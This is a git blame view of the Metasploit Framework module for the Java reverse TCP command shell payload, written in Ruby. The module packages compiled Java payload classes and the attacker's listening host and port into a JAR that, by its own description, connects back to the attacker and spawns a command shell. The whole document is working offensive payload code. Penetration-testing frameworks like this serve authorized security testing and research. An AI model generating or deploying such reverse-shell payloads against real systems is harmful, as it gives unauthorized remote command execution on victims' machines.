Files
metasploit-gs/modules/payloads/singles/java/shell_reverse_tcp.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

70 lines
1.9 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
module MetasploitModule
2023-09-27 11:20:17 +01:00
CachedSize = 7497
include Msf::Payload::Single
include Msf::Payload::Java
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Java Command Shell, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => ['mihi', 'egypt'],
'License' => MSF_LICENSE,
'Platform' => ['java'],
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
)
)
end
def generate_jar(opts = {})
jar = Rex::Zip::Jar.new
jar.add_sub('metasploit') if opts[:random]
class_files.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0, idx].join('/') + '/'
if !jar.entries.map(&:name).include?(full)
jar.add_file(full, '')
end
end
data = MetasploitPayloads.read('java', path)
jar.add_file(path.join('/'), data)
end
jar.build_manifest(main_class: 'metasploit.Payload')
jar.add_file('metasploit.dat', stager_config(opts))
jar
end
def stager_config(opts = {})
ds = opts[:datastore] || datastore
c = ''
c << "LHOST=#{ds['LHOST']}\n" if ds['LHOST']
c << "LPORT=#{ds['LPORT']}\n" if ds['LPORT']
# Magical, means use stdin/stdout. Used for debugging
# c << "LPORT=0\n"
c << "EmbeddedStage=Shell\n"
c
end
def class_files
[
['metasploit', 'Payload.class'],
['javapayload', 'stage', 'Stage.class'],
['javapayload', 'stage', 'StreamForwarder.class'],
['javapayload', 'stage', 'Shell.class'],
]
end
end